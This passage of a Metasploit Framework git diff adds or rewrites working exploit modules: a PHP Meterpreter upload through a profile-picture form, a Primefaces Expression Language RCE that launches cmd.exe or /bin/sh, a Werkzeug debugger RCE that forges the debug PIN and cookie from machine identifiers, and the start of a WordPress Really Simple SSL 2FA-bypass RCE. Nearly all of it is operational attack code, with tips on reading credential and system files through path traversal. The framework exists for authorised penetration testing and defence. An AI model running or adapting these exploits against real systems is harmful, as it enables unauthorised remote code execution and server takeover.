== 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename) + vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!") + CheckCode::Vulnerable + else + vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.") + CheckCode::Unknown + end + end + + def upload_shell + random_user = Rex::Text.rand_text_alphanumeric(8) + random_password = Rex::Text.rand_text_alphanumeric(12) + detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s + detection_filename = "#{detection_basename}.php" + + # Step 1: Detect the OS + detection_script = <<~PHP + + PHP + + vprint_status("Uploading OS detection script as #{detection_filename}...") + post_data = Rex::MIME::Message.new + post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') + post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') + post_data.add_part(random_password, nil, nil, 'form-data; name="password"') + post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"") + post_data.add_part('', nil, nil, 'form-data; name="save_user"') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'users.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302 + vprint_good('OS detection script uploaded successfully!') + + # Step 2: Retrieve the actual uploaded filename + vprint_status('Retrieving directory listing to identify detection script...') + sleep datastore['LISTING_DELAY'] + + res_listing = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user_images/'), + 'method' => 'GET' + }) + + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 + + match = res_listing.body&.match(/ detection_url, + 'method' => 'GET' + }) + + fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil? + detected_os = res.body.strip.downcase + vprint_status("Detected OS: #{detected_os}") + + # Step 4: Choose payload based on OS + if detected_os.include?('win') + payload_content = get_write_exec_payload + print_status('Target is Windows. Using standard PHP Meterpreter payload.') + else + payload_content = get_write_exec_payload(unlink_self: true) + print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.') + end + + # Step 5: Upload the payload + random_user = Rex::Text.rand_text_alphanumeric(8) + random_password = Rex::Text.rand_text_alphanumeric(12) + payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php" + + vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...") + + post_data = Rex::MIME::Message.new + post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') + post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') + post_data.add_part(random_password, nil, nil, 'form-data; name="password"') + post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"") + post_data.add_part('', nil, nil, 'form-data; name="save_user"') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'users.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 + print_good('Payload uploaded successfully!') + + # Verify the presence of the uploaded file in the directory listing + vprint_status('Retrieving directory listing to confirm the uploaded payload...') + sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server + + res_listing = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user_images/'), + 'method' => 'GET' + }) + + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 + + # Search for the uploaded filename + match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/) + fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil? + + actual_filename = match[1] + vprint_good("Verified payload presence: #{actual_filename}") + register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES'] + actual_filename + end + + def exploit + # Upload the shell and retrieve its filename + uploaded_filename = upload_shell + + # Construct the URL for the uploaded shell + shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename) + print_status("Executing the uploaded shell at #{shell_url}...") + + # Execute the uploaded shell + send_request_raw({ 'uri' => shell_url, 'method' => 'GET' }) + end +end diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 6ae4b8bf6c55..664c80fa2310 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2015-6967'], - ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] + ['URL', 'https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html'] ], 'DisclosureDate' => '2015-09-01', 'Platform' => 'php', diff --git a/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb b/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb new file mode 100644 index 000000000000..adb0f2ccc958 --- /dev/null +++ b/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Primefaces Remote Code Execution Exploit', + 'Description' => %q{ + This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework. + Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, + due to the use of weak crypto and default encryption password and salt. + + Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See + documentation for working payloads. + }, + 'Author' => [ + 'Bjoern Schuette', # EDB + 'h00die' # lots of fixes, documentation, standardization + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2017-1000486'], + ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'], + ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'], + ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'], + ['URL', 'https://github.com/primefaces/primefaces/issues/1152'], + ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'], + ['EDB', '43733'] + ], + 'Payload' => { + 'BadChars' => '"\'\\' # all threw errors + }, + 'Privileged' => true, + 'DisclosureDate' => '2016-02-15', + 'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'], + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Universal', {}, + ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options([ + Opt::RPORT(80), + OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']), + OptString.new('TARGETURI', [true, 'The base path to primefaces', '/']) + ]) + end + + def encrypt_el(password, payload) + # el == Java Expression Language + salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*') + iteration_count = 19 + + cipher = OpenSSL::Cipher.new('DES') + cipher.encrypt + cipher.pkcs5_keyivgen password, salt, iteration_count + + ciphertext = cipher.update payload + ciphertext << cipher.final + ciphertext + end + + def http_send_command(payload_wrapper) + encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper) + encrypted_payload = Rex::Text.encode_base64(encrypted_payload) + + # send the payload and execute command + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'), + 'vars_post' => { + 'pfdrt' => 'sc', + 'ln' => 'primefaces', + 'pfdrid' => encrypted_payload + } + }) + + res + end + + def exploit + cmd = payload.encoded + + # good for testing + # cmd = "whoami" + # error logs will show + # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle + # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed + payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}' + payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}' + payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' + payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' + payload_wrapper << '${session.getAttribute("scriptengine").eval(' + payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");' + payload_wrapper << 'var proc = null;' + payload_wrapper << 'os.toLowerCase().contains(\"win\")? ' + payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()" + payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();" + payload_wrapper << 'var is = proc.getInputStream();' + payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";' + payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}' + payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}' + payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}' + + vprint_status("Attempting to execute: #{cmd}") + res = http_send_command(payload_wrapper) + fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500 + # successful exploitation gives us no response + end + + def check + marker = rand_text_alpha_lower(5..9) + # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92 + # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}' + payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}" + + res = http_send_command(payload_wrapper) + return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil? + return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker + + Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable') + end + +end diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index d21ff28706a2..4927b2738537 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -4,79 +4,401 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + Rank = GoodRanking + + METHODS_WITH_BODY = %w[POST PUT PATCH].freeze + COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze + MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze + PIN_PATTERN = /^[[:digit:]-]+$/.freeze + def initialize(info = {}) - super(update_info(info, - 'Name' => 'Werkzeug Debug Shell Command Execution', - 'Description' => %q{ - This module will exploit the Werkzeug debug console to put down a - Python shell. This debugger "must never be used on production - machines" but sometimes slips passed testing. - - Tested against: - 0.9.6 on Debian - 0.9.6 on Centos - 0.10 on Debian - }, - 'Author' => 'h00die ', - 'References' => - [ - ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] + super( + update_info( + info, + 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution', + 'Description' => %q{ + This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone. + + The documentation states the following: "The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production." Of course this doesn't prevent developers from mistakenly enabling it in production! + + Tested against the following Werkzeug versions: + - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 + - 1.1.4 on Debian 12 + - 1.0.1 on Debian 12 + - 0.11.5 on Debian 12 + - 0.10 on Debian 12 + }, + 'Author' => [ + 'h00die ', + 'Graeme Robinson /@GraSec' + ], + 'References' => [ + ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'], + ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'], + [ + 'URL', + 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger' + ], + [ + 'URL', + 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger' + ], + [ + 'URL', + 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \ + 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a' + ] ], - 'License' => MSF_LICENSE, - 'Platform' => ['python'], - 'Targets' => [[ 'werkzeug 0.10 and older', {}]], - 'Arch' => ARCH_PYTHON, - 'DefaultTarget' => 0, - 'DisclosureDate' => '2015-06-28' - )) + 'License' => MSF_LICENSE, + 'Platform' => ['python'], + 'Targets' => [ + # pip install werkzeug==3.0.3 flask==3.0.3 + [ + 'Werkzeug > 1.0.1 (Flask > 1.1.4)', + { + digest: Digest::SHA1, + digest_inputs: :new, + salt: ' added salt' # From site-packages/werkzeug/debug/__init__.py > hash_pin() + } + ], + # pip install werkzeug==1.0.1 flask==1.1.4 + [ + 'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)', + { + digest: Digest::MD5, + digest_inputs: :new, + salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin() + } + ], + # pip install werkzeug==0.11.5 flask==0.12.5 + [ + 'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)', + { + digest: Digest::MD5, + digest_inputs: :old, + salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin() + } + ], + # pip install werkzeug==0.10 flask==0.12.5 + ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version + ], + 'Arch' => ARCH_PYTHON, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2015-06-28', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } + ) + ) register_options( [ - OptString.new('TARGETURI', [true, 'URI to the console', '/console']) - ], self.class + OptEnum.new('AUTHMODE', [ + true, 'Authentication mode', 'generated-cookie', + %w[generated-cookie known-cookie known-PIN none] + ]), + OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]), + OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), + + # Options for using a known cookie/PIN + OptString.new('PIN', [ + false, 'PIN to use for authentication. This can be set to a custom value by the ' \ + "application developer, in which case generating the pin won't work, but if you" \ + 'have path traversal, you may be able to retrieve this pin by reading the ' \ + 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ + 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil + ], + conditions: %w[AUTHMODE == known-PIN]), + OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil], + conditions: %w[AUTHMODE == known-cookie]), + + # Options for generating cookie/PIN + OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'], + conditions: %w[AUTHMODE == generated-cookie]), + # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho + # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2 + OptString.new('CGROUP', [ + false, + "Control group. This may be an empty string (''), for example if the OS running the " \ + 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \ + 'traversal on Linux, this could be read from /proc/self/cgroup', + '' + ], conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('FLASKPATH', [ + false, + 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \ + 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \ + '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \ + 'need to be changed to .pyc)', '' + ], + conditions: %w[AUTHMODE == generated-cookie]), + # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential + OptString.new('MACADDRESS', [ + false, + 'MAC address of the system that the service is running on. If you have path ' \ + 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil + ], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MACHINEID', [ + false, + 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \ + "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \ + 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \ + 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \ + 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \ + '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \ + "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \ + '\"serial-number\"', nil + ], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('SERVICEUSER', [ + false, + 'User account name that the service is running under. If you have path ' \ + 'traversal on Linux, you may be able to read this from /proc/self/environ', + 'root' + ], + conditions: %w[AUTHMODE == generated-cookie]), + + # Options for sending a body, if required to invoke the debugger + OptString.new( + 'REQUESTBODY', + [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"], + conditions: ['METHOD', 'in', METHODS_WITH_BODY] + ), + + # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me! + OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'], + conditions: %w[REQUESTBODY == set]) + ], + self.class ) end - def check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) - ) + def all_generation_values_set? + datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] && + datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP'] + end - # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 - if res && res.body =~ /Werkzeug powered traceback interpreter/ - return Exploit::CheckCode::Appears + def config_invalid? + # Check that target supports selected authentication mode + if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none' + return CheckCode::Unknown( + "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \ + "require/support authentication. Change TARGET or set AUTHMODE to 'none'" + ) end - Exploit::CheckCode::Safe + case datastore['AUTHMODE'] + when 'known-cookie' + unless COOKIE_PATTERN =~ datastore['COOKIE'] + return CheckCode::Unknown( + 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \ + "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'" + ) + end + when 'known-PIN' + unless PIN_PATTERN =~ datastore['PIN'] + return CheckCode::Unknown( + 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens' + ) + end + when 'generated-cookie' + # Check that *all* values used to generate cookie & pin are set + unless all_generation_values_set? + return CheckCode::Unknown( + "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \ + 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP' + ) # Alphabetise + end + # Check for valid MAC address + unless MAC_PATTERN =~ datastore['MACADDRESS'] + return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address") + end + end + + # Check that requestbody is not specified if method doesn't support it + return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD']) + + return CheckCode::Unknown( + "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body" + ) end - def exploit - # first we need to get the SECRET code + # Retrieve secret and frame + def secret_and_frame res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri), + 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])), + 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY']) ) + unless res + print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}" + return + end + + # Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript + # A redundant escape is required to work around broken syntax highlighting in Sublime Text + # rubocop:disable Style/RedundantRegexpEscape + /(?:EVALEX\ =\ (?true),.*?)? # Code execution in debugger enabled + (?:EVALEX_TRUSTED\ =\ (?false),.*)? # Pin required if 'false' matches. This technique supports v0.10- + SECRET\ =\ \"(?[a-zA-Z0-9]{20})"; # Secret + (?:.*? id="frame-(?[0-9]+)")? # Frame number, if it exists (i.e. if debugger) + .*Werkzeug\ powered\ traceback\ interpreter # Service Identifier + /mx.match(res.body) + # rubocop:enable Style/RedundantRegexpEscape + end - if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ - secret = $1 - vprint_status("Secret Code: #{secret}") + # Authenticate with PIN to retrieve cookie + def cookies(secret) + res, duration = Rex::Stopwatch.elapsed_time do send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']), + 'uri' => normalize_uri(target_uri), 'vars_get' => { '__debugger__' => 'yes', - 'cmd' => payload.encoded, - 'frm' => '0', - 's' => secret + 'cmd' => 'pinauth', + 'pin' => datastore['PIN'], + 's' => secret } ) - else - print_error('Secret code not detected.') end + unless res + fail_with(Failure::TimeoutExpired, + "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}") + end + if res.get_json_document['exhausted'] + fail_with(Failure::NoAccess, + "Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \ + 'exhausted. The remote application must be restarted to re-enable PIN authentication.') + end + unless COOKIE_PATTERN =~ res.get_cookies + attempts_text = duration < 5 ? 'at least' : 'fewer than' + fail_with(Failure::NoAccess, + "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \ + 'failed authentication exhaustion count has been reached. The time taken to receive a response ' \ + "indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \ + 'which would require the application to be restarted to re-enable PIN authentication.') + end + res.get_cookies + end + + def generated_cookie + # Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py + digest = target.opts[:digest].new + digest << datastore['SERVICEUSER'] + digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old + digest << datastore['MODULENAME'] + digest << datastore['APPNAME'] + digest << datastore['FLASKPATH'] + if target.opts[:digest_inputs] == :new + digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s + digest << datastore['MACHINEID'] + cgroup = datastore['CGROUP'].split('/') + digest << cgroup[2] if cgroup[2] + end + digest << 'cookiesalt' + case target.opts[:digest_inputs] + when :new + cookie_key = "__wzd#{digest.hexdigest[0..19]}" + digest << 'pinsalt' + when :old + cookie_key = "__wzd#{digest.hexdigest[0..11]}" + end + pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-' + print_status "Generated authentication PIN: #{pin}" + expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!) + case target.opts[:digest_inputs] + when :new + cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12] + cookie = "#{cookie_key}=#{expiry}|#{cookie_value}" + when :old + cookie = "#{cookie_key}=#{expiry}" + end + print_status "Generated authentication cookie: #{cookie}" + cookie + end + + def execute_python(cmd, secret, frame, cookies = '') + send_request_cgi( + 'method' => 'GET', + # Path without querystring because triggering debugger may have required parameters + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => cmd, + 's' => secret, + 'frm' => frame + }, + 'cookie' => cookies + ) + end + + def check_code_exec(secret, frame, cookies = '') + canary = rand + execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}" + end + + def check + c = config_invalid? + return c if c + + match = secret_and_frame + unless match + return CheckCode::Unknown('HTTP response not recognised as Werkzeug') + end + unless match[:evalex_enabled] + return CheckCode::Safe('Debugger does not allow code execution') + end + + print_status 'Debugger allows code execution' + if match[:pin_required] + return CheckCode::Detected('Debugger requires authentication') + end + + print_status 'Debugger does not require authentication' + # Now check whether code execution is possible by evaluating something + unless check_code_exec(match[:secret], match[:frame] || 0) + return CheckCode::Safe('Attempted code execution failed') + end + + CheckCode::Vulnerable('Code execution was successful') + end + + def exploit + # First we try to get the SECRET code (and frame number if debugger rather than console) + fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame) + vprint_status "Secret Code: #{match[:secret]}" + vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console) + + case datastore['AUTHMODE'] + when 'known-PIN' + cookies = cookies match[:secret] + vprint_status "Authenticated using PIN: #{datastore['PIN']}" + print_status "Retrieved authentication cookie: #{cookies}" + when 'known-cookie' + cookies = datastore['cookie'] + when 'generated-cookie' + cookies = generated_cookie + end + + # Check whether code execution is possible by evaluating something + unless check_code_exec(match[:secret], match[:frame] || 0, cookies) + fail_with(Failure::NoAccess, 'Response indicates that code execution failed') + end + vprint_status 'Code execution was successful. Sending payload.' + + # Send the payload to the debugger along with the values extracted from the previous response + res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies) + unless res.body.start_with? '>>> ' + fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully') + end + vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors' end end diff --git a/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb b/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb index 6f49c8f5fcbd..f3d76cef5613 100644 --- a/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb +++ b/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb @@ -283,6 +283,8 @@ def check end def exploit + # next line included for automatic inclusion into vulnerable plugins list + # check_plugin_version_from_readme('file-manager-advanced-shortcode', '2.3.3') # check if fmakey is already set from the check method otherwise try to find the key. check_fma_shortcode_plugin unless datastore['AutoCheck'] fail_with(Failure::NotVulnerable, "Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \"#{datastore['TARGETURI']}\" setting.") if @wp_data['fmakey'].nil? diff --git a/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb b/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb new file mode 100644 index 000000000000..9c3849797011 --- /dev/null +++ b/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin + (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and + uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable, + 2FA must be enabled on the target site; otherwise, the exploit will not work. + }, + 'Author' => [ + 'Valentin Lobstein', # Metasploit module + 'István Márton' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2024-10924'], + ['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'], + ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[unix linux win php], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix In-Memory', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows In-Memory', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-14', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1]) + ] + ) + end + + def check + # next lines included for automatic inclusion into 